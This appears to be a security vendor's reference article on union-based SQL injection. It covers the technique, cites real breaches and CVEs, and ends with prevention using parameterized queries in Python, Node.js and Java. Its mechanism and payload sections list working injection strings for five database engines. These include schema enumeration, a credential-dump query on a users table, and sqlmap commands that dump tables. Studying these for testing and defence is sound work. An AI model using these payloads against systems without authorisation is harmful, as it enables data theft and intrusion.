Union-based SQLi

What is Union-Based SQL Injection#

Union-based SQL injection is the most direct form of in-band data extraction. When an application reflects query results in its HTTP response — a product list, a search result, a user profile — an attacker appends a second SELECT statement using the UNION keyword. The database executes both queries and returns both result sets, with the attacker's rows appearing alongside or replacing the legitimate application output.

This technique belongs to the in-band SQLi category under CWE-89. It requires two preconditions: the query result must be reflected in the response, and the attacker-controlled SELECT must produce the same number of columns as the original query, with compatible data types. When these conditions are met, union-based injection is the fastest extraction method — a single HTTP request can return an entire database schema or a full credential dump.

The technique is well-understood by automated tools. SQLMap's -technique=U flag specifically targets union-based injection. CVE-2024-1597 (PostgreSQL JDBC driver, CVSS 10.0) demonstrated how a misconfigured driver setting (preferQueryMode=SIMPLE) causes parameterized queries to degenerate into unsafe literal substitution, making any application using this configuration trivially union-injectable.

Mechanism#

The attack proceeds in four deterministic steps regardless of the target database engine.

Step 1 — Column count enumeration via ORDER BY (preferred):

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- error: "The ORDER BY position number 3 is out of range"
-- Column count = 2

The ORDER BY method is preferred because it does not modify the SELECT structure. WAFs and IDS systems looking for UNION keywords will not trigger on ORDER BY probes.

Step 2 — Column count confirmation via UNION SELECT NULL (when ORDER BY is suppressed):

' UNION SELECT NULL--          -- error if wrong count
' UNION SELECT NULL,NULL--     -- error if wrong count
' UNION SELECT NULL,NULL,NULL-- -- success when count matches

NULL is compatible with every common SQL data type, maximizing compatibility during enumeration without triggering type-mismatch errors.

Step 3 — Identify string-compatible columns:

' UNION SELECT 'a',NULL,NULL--    -- test column 1
' UNION SELECT NULL,'a',NULL--    -- test column 2
' UNION SELECT NULL,NULL,'a'--    -- test column 3

A string value appearing in the response identifies a column that accepts string output — necessary for exfiltrating text data from the target table.

Step 4 — Data extraction:

-- Schema enumeration (MySQL/PostgreSQL/MSSQL)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
 
-- Column enumeration for specific table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--
 
-- Credential dump — single column via concatenation (MySQL)
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users-- -
 
-- Multiple columns
' UNION SELECT username,password,NULL FROM users--

Attack Variants#

The LOAD_FILE() and INTO OUTFILE variants require the MySQL account to hold the FILE privilege and secure_file_priv must be unset — common in legacy shared hosting environments but rare in modern containerized deployments.

Database-Specific Payloads#

Each database engine has unique syntax requirements for UNION-based extraction.

-- MySQL / MariaDB — version extraction (3-column table, column 2 is string)
' UNION SELECT NULL,version(),NULL-- -
' UNION SELECT NULL,@@version,NULL-- -
' UNION SELECT NULL,CONCAT(user(),'@',database()),NULL-- -
 
-- Table enumeration
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
 
-- PostgreSQL
' UNION SELECT NULL,version()::text,NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,current_database(),NULL--
 
-- MSSQL — FROM clause not required for constants
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'--
' UNION SELECT NULL,SYSTEM_USER,NULL--
 
-- Oracle — FROM clause REQUIRED; use DUAL for constants
' UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1--
' UNION SELECT NULL,table_name,NULL FROM all_tables WHERE rownum=1--
' UNION SELECT NULL,user,NULL FROM dual--
 
-- SQLite
' UNION SELECT sqlite_version()--
' UNION SELECT name FROM sqlite_master WHERE type='table'--

Real-World Examples#

Heartland Payment Systems (2008) — SQL injection against Heartland's transaction processing network exposed approximately 130 million credit and debit card records. Attackers used the initial SQL injection to gain a foothold on the internal network, then installed packet-sniffing malware on the transaction processing systems. At the time of disclosure, Heartland was the largest data breach ever recorded. The breach demonstrated that SQL injection is not limited to web application data extraction — it serves as an initial access vector for deeper network compromise.

CVE-2024-1597 — PostgreSQL JDBC Driver (CVSS 10.0, February 2024) — The PostgreSQL JDBC driver with preferQueryMode=SIMPLE fails to apply parameterization correctly. In this mode, the driver substitutes parameters directly into the query string as literals, effectively converting every parameterized query into a string-concatenated query. Any application using this driver configuration is fully union-injectable regardless of how carefully the application code is written. Detection requires fingerprinting the Java stack and checking preferQueryMode in connection string error traces.

CVE-2026-32306 / CVE-2026-33142 — OneUptime ClickHouse — SQL injection via sort, select, and groupBy aggregate query parameters. The initial fix for CVE-2026-32306 patched only the _aggregateBy method; CVE-2026-33142 followed to cover three remaining unprotected query construction paths. This illustrates a critical pattern: incomplete fixes for SQL injection are common when developers patch only the reported parameter and leave others untouched.

HackerOne #383127 — Valve Steam ($25,000 bounty) — SQL injection in report_xml.php via the countryFilter[] array parameter. Array parameter injection is systematically underdetected by scanners that test only scalar parameter values. The report notes that the payload used standard UNION SELECT against the reporting database.

Detection#

Manual Testing#

1. Append a single quote to the parameter: /search?q=test'. Look for a database error, empty result set, or altered content.
2. Use the ORDER BY method to enumerate columns: test' ORDER BY 1--, incrementing until an error appears.
3. Confirm column count with NULL padding: test' UNION SELECT NULL,NULL-- until the query succeeds without error.
4. Identify string columns: test' UNION SELECT 'x',NULL--, rotating the string position.
5. Probe information_schema.tables once a working payload is established.
6. Test array parameters, JSON body values, and X-Forwarded-For / User-Agent headers — these are frequently overlooked injection points.

Automated Detection#

# Standard GET parameter scan
sqlmap -u "https://target.com/search?q=test" \
  --technique=U --batch --dbs
 
# JSON body union injection
sqlmap -u "https://target.com/api/search" \
  --data='{"query":"test"}' \
  --content-type="application/json" \
  --technique=U --batch
 
# Specific table dump after schema discovery
sqlmap -u "https://target.com/search?q=1" \
  -D target_db -T users --dump --batch
 
# Array parameter injection
sqlmap -u "https://target.com/report?filter[]=1" \
  --technique=U --batch

BreachVex detects union-based injection by scoring response changes on quote injection and boolean differential, then escalating confirmed probable findings to industry-standard offensive tooling for schema extraction.

Prevention#

Parameterized Queries#

Parameterized queries bind user input as a typed value, preventing it from being interpreted as SQL syntax regardless of content.

# Python psycopg2 — SAFE
cursor.execute(
    "SELECT name, price FROM products WHERE category = %s",
    (category,)
)
 
# VULNERABLE — f-string interpolation
cursor.execute(f"SELECT name, price FROM products WHERE category = '{category}'")

// Node.js pg — SAFE
const result = await client.query(
  'SELECT name, price FROM products WHERE category = $1',
  [category]
);
 
// VULNERABLE — template literal
await client.query(`SELECT name, price FROM products WHERE category = '${category}'`);

// Java PreparedStatement — SAFE
PreparedStatement stmt = conn.prepareStatement(
    "SELECT name, price FROM products WHERE category = ?"
);
stmt.setString(1, category);
ResultSet rs = stmt.executeQuery();

Error Handling#

Union-based injection requires the application to reflect query results. Suppressing verbose database errors removes the immediate union extraction channel, though blind techniques can still apply. Return generic error messages (400 Bad Request, 500 Internal Server Error) with no database-specific content. Log detailed errors server-side only.

Resources#

• SQL Injection — Pillar Overview

• PortSwigger — UNION Attacks

• OWASP SQL Injection Prevention Cheat Sheet

• NVD — CVE-2024-1597

• PortSwigger SQL Injection Cheat Sheet